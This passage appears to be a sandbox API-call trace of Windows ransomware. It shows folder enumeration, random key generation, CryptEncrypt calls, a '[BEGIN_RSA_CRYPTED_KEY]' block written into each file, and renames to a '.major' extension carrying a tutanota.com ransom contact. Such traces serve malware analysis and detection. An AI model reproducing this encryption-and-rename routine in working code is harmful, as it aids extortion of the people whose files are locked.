hFindFile=0x2f378a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5148c8c4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5148c8c4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5148c8c4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0303.345] SetLastError (dwErrCode=0x0) [0303.345] GetLastError () returned 0x0 [0303.345] SetLastError (dwErrCode=0x0) [0303.345] SetLastError (dwErrCode=0x0) [0303.345] FindNextFileW (in: hFindFile=0x2f378a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5148c8c4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5148c8c4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5148c8c4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0303.345] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.345] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.346] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bfc [0303.347] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.347] ReadFile (in: hFile=0x1bfc, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.347] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.347] WriteFile (in: hFile=0x1bfc, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.347] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.347] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.347] WriteFile (in: hFile=0x1bfc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.348] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.348] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.349] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.349] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662718, pcchString=0x2e3f9a8 | out: pszString="8Cb4YkqHXya5au3KVfyxuln13xWE//pSSeztIL9YBPUQ7mJuoKZamd5oIdsLQxwj\nPZkWmYoTzpGsWUmkTm6AQKZHNQ+NPpCDh1HOpBf5yoWCqLxU/AJAhQLff0rmP6rd\nUkDQcaSV5/4vzfB9saCnge42AU56C9FDRmQAtqdHpmWqEvOPk/0N9B+tk/2R/RBA\nx4UzNsAFbEY/M3f7B+MtVTndOhW2OwMf3ER9PYNWr82sb0D+wUZSyI839URXGxI+\nRQxy+JvI5hFr/UXiLhys+877vesxpCN3p82nS2u5u71sYEteAXeSc3E5Yp82RVPY\nf+illZFjZ6zsNvKcsY2VCg==\n", pcchString=0x2e3f9a8) returned 1 [0303.349] WriteFile (in: hFile=0x1bfc, lpBuffer=0x662718*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662718*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.349] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.349] WriteFile (in: hFile=0x1bfc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.349] CloseHandle (hObject=0x1bfc) returned 1 [0303.349] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.356] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.356] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.356] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bfc [0303.357] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.357] ReadFile (in: hFile=0x1bfc, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.357] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.357] WriteFile (in: hFile=0x1bfc, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.357] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.357] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.358] WriteFile (in: hFile=0x1bfc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.358] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.358] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.359] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.359] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x661ec0, pcchString=0x2e3f9a8 | out: pszString="oTRablIr7sn5EsEJkN9M/m31xB2+sALOsMrEjX6UinY+5fldnd7Pw0w3A3J+IrIV\nA/s8g2TzhDfqj6Ql59WrLxoP7pj5KdE/t0XmYkc4Slr8bXkFBvRpwgEsQk26nYHw\nrkS4+hP/qgBcW+A/TN1IU9zxeFyuRN2N8Eiv+viPDayitiihhxTDzvU1GJ7TRsQ6\nhpaGVbhOtSFKursEPopRVfhNE7BI6Q99gCTQ7wp5lNdGxVjKFK+Pve2x6wQgoGsa\nTe8DH3QGC08HaHOiROIuhSsAWtMo7uu/B7j7W1rGMAX1mkwgslx+UvV/qOMkwVWV\ntzztD3/Bibm+mOEH8slWaw==\n", pcchString=0x2e3f9a8) returned 1 [0303.359] WriteFile (in: hFile=0x1bfc, lpBuffer=0x661ec0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661ec0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.359] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.359] WriteFile (in: hFile=0x1bfc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.359] CloseHandle (hObject=0x1bfc) returned 1 [0303.359] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.361] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.362] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504779320", dwFileAttributes=0x80) returned 1 [0303.362] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504779320" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\1504779320"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bfc [0303.363] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7378) returned 1 [0303.363] ReadFile (in: hFile=0x1bfc, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x1cd2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1cd2, lpOverlapped=0x0) returned 1 [0303.445] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=-7378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.445] WriteFile (in: hFile=0x1bfc, lpBuffer=0x2f80860*, nNumberOfBytesToWrite=0x1cd2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f80860*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1cd2, lpOverlapped=0x0) returned 1 [0303.445] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1cd2 [0303.445] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.445] WriteFile (in: hFile=0x1bfc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.445] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.445] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.445] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.446] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x661ec0, pcchString=0x2e3f9a8 | out: pszString="/qq3fjfVymyTOd3OE6/AyRQXp8IOSfjTawbhat96Rh3BlyfnVCeULdfglHmt/B5l\nCcqt26fBj73kDmr1MZFynQ70jXjcCHJY0pC117W4Pu8YpLl1aVZoq5fEI8FwQsfC\nQxh6f55dZhJs2CjS9rLrkA1jR9djzdv1S3R4dXSFxckPZhuhFLoM6gijYv9upcCP\n4Hk8Gq/lwGaHHhHg3eyouBmLeCiaspie7c/rLxlHQns4DS7UfRnXYvpXVnJ1SXm1\nzKSkwwtr3hZRwZic439BQmup5gIpvE93F4XdAJ650fj4XWmxTHtjVG4sDfZSBCeG\n9vydg+UgAaRLuPSbkelFKA==\n", pcchString=0x2e3f9a8) returned 1 [0303.446] WriteFile (in: hFile=0x1bfc, lpBuffer=0x661ec0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661ec0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.446] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.446] WriteFile (in: hFile=0x1bfc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.446] CloseHandle (hObject=0x1bfc) returned 1 [0303.446] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504779320" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\1504779320"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504779320.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\1504779320.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.448] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.448] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504773410", dwFileAttributes=0x80) returned 1 [0303.448] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504773410" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\1504773410"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bfc [0303.449] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7184) returned 1 [0303.449] ReadFile (in: hFile=0x1bfc, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x1c10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1c10, lpOverlapped=0x0) returned 1 [0303.601] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=-7184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.601] WriteFile (in: hFile=0x1bfc, lpBuffer=0x2f80860*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f80860*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1c10, lpOverlapped=0x0) returned 1 [0303.601] SetFilePointer (in: hFile=0x1bfc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1c10 [0303.601] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.601] WriteFile (in: hFile=0x1bfc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.601] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.601] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.602] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.602] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x661ec0, pcchString=0x2e3f9a8 | out: pszString="wPCSyXsXBqKDZrLsKZPULVbNDyIIIBYiGC10ElGh4TFMdEh6EhLYnliTkp554hyg\nPqyWwaE5II9C+/Xa4OcEnZZAVZBDW1Gmb1j97eKyBqOh0nTO2PabOhGRSdi2ZedP\n3HFVi9Y6+rlBYdmvUZjF9znFhY47Chm8s4tZQ0WPzIaKVvQ/QH5irQ353dfMO2tT\nOe6jSkwFcCOZPSiTSQ/6CLcFj9wc6zEvtC6/faUSv2hbgYhLimY/ZXuvXIXBvEN2\nMdFFtHzwVPLBy4DrWDCyZ0ejX1GiZIg3prbrpd4pn3OlyqwsophJMpWinymWcU5/\nOi40fvBjrUt2R45dkeZfsA==\n", pcchString=0x2e3f9a8) returned 1 [0303.602] WriteFile (in: hFile=0x1bfc, lpBuffer=0x661ec0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661ec0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.602] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.602] WriteFile (in: hFile=0x1bfc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.602] CloseHandle (hObject=0x1bfc) returned 1 [0303.602] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504773410" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\1504773410"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\1504773410.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\1504773410.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.607] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c100a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb0a11d08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x5148c8c4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37ee8 [0303.607] SetLastError (dwErrCode=0x0) [0303.607] GetLastError () returned 0x0 [0303.607] SetLastError (dwErrCode=0x0) [0303.607] GetLastError () returned 0x0 [0303.607] SetLastError (dwErrCode=0x0) [0303.607] FindNextFileW (in: hFindFile=0x2f37ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c100a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb0a11d08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x5148c8c4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0303.607] SetLastError (dwErrCode=0x0) [0303.607] GetLastError () returned 0x0 [0303.607] SetLastError (dwErrCode=0x0) [0303.607] GetLastError () returned 0x0 [0303.607] SetLastError (dwErrCode=0x0) [0303.607] FindNextFileW (in: hFindFile=0x2f37ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ef72bf7, ftCreationTime.dwHighDateTime=0x1d327c3, ftLastAccessTime.dwLowDateTime=0x7ef72bf7, ftLastAccessTime.dwHighDateTime=0x1d327c3, ftLastWriteTime.dwLowDateTime=0x7efbf1f1, ftLastWriteTime.dwHighDateTime=0x1d327c3, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504779872", cAlternateFileName="150477~2")) returned 1 [0303.608] SetLastError (dwErrCode=0x0) [0303.608] GetLastError () returned 0x0 [0303.608] SetLastError (dwErrCode=0x0) [0303.608] SetLastError (dwErrCode=0x0) [0303.608] FindNextFileW (in: hFindFile=0x2f37ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7730335, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7730335, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa77a2b7b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5bba, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1506438227", cAlternateFileName="150643~2")) returned 1 [0303.608] SetLastError (dwErrCode=0x0) [0303.608] GetLastError () returned 0x0 [0303.608] SetLastError (dwErrCode=0x0) [0303.608] SetLastError (dwErrCode=0x0) [0303.608] FindNextFileW (in: hFindFile=0x2f37ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c362eb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4f3536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7fe6fe6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0303.608] SetLastError (dwErrCode=0x0) [0303.608] GetLastError () returned 0x0 [0303.608] SetLastError (dwErrCode=0x0) [0303.608] SetLastError (dwErrCode=0x0) [0303.608] FindNextFileW (in: 